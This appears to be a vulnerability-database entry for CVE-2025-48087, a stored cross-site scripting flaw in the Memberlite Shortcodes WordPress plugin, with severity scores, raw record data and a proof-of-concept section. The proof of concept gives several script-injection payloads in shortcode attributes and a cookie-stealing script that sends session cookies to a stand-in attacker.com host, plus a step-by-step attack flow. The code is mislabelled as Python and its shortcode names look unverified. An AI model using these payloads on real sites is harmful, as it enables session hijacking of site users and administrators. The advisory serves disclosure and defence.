Security Vulnerability Report
中文
CVE-2025-48087 CVSS 6.5 MEDIUM

CVE-2025-48087

Published: 2025-10-17 15:15:39
Last Modified: 2026-04-28 19:32:34

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jason C. Memberlite Shortcodes memberlite-shortcodes allows Stored XSS.This issue affects Memberlite Shortcodes: from n/a through 1.4.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Memberlite Shortcodes < 1.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for Memberlite Shortcodes Plugin (CVE-2025-48087) --> <!-- Exploit via shortcode parameter injection --> <!-- Method 1: Inject malicious script through shortcode attribute --> [memberlite_shortcode title=""><script>alert('XSS-'+document.cookie)</script>"] <!-- Method 2: Inject via shortcode content parameter --> [memberlite_card]"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> [/memberlite_card] <!-- Method 3: Event handler injection in style attribute --> [memberlite_button style="color:red;" onmouseover="alert(document.domain)"]Click Me[/memberlite_button] <!-- Method 4: SVG-based XSS payload --> [memberlite_shortcode icon=""><svg/onload=alert(1)>"] <!-- Attack flow: 1. Attacker logs in as low-privilege user (subscriber/author) 2. Creates a post/page using Memberlite Shortcodes plugin shortcodes 3. Injects malicious JavaScript via shortcode parameters 4. Submits/publishes the content (stored in database) 5. When any user (including admin) views the page, XSS triggers 6. Attacker steals session cookies, performs actions as victim --> <!-- JavaScript payload for cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.com/collect?cookie=' + encodeURIComponent(document.cookie) + '&domain=' + document.domain; </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48087", "sourceIdentifier": "[email protected]", "published": "2025-10-17T15:15:38.730", "lastModified": "2026-04-28T19:32:34.427", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jason C. Memberlite Shortcodes memberlite-shortcodes allows Stored XSS.This issue affects Memberlite Shortcodes: from n/a through 1.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/WordPress/Plugin/memberlite-shortcodes/vulnerability/wordpress-memberlite-shortcodes-plugin-1-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}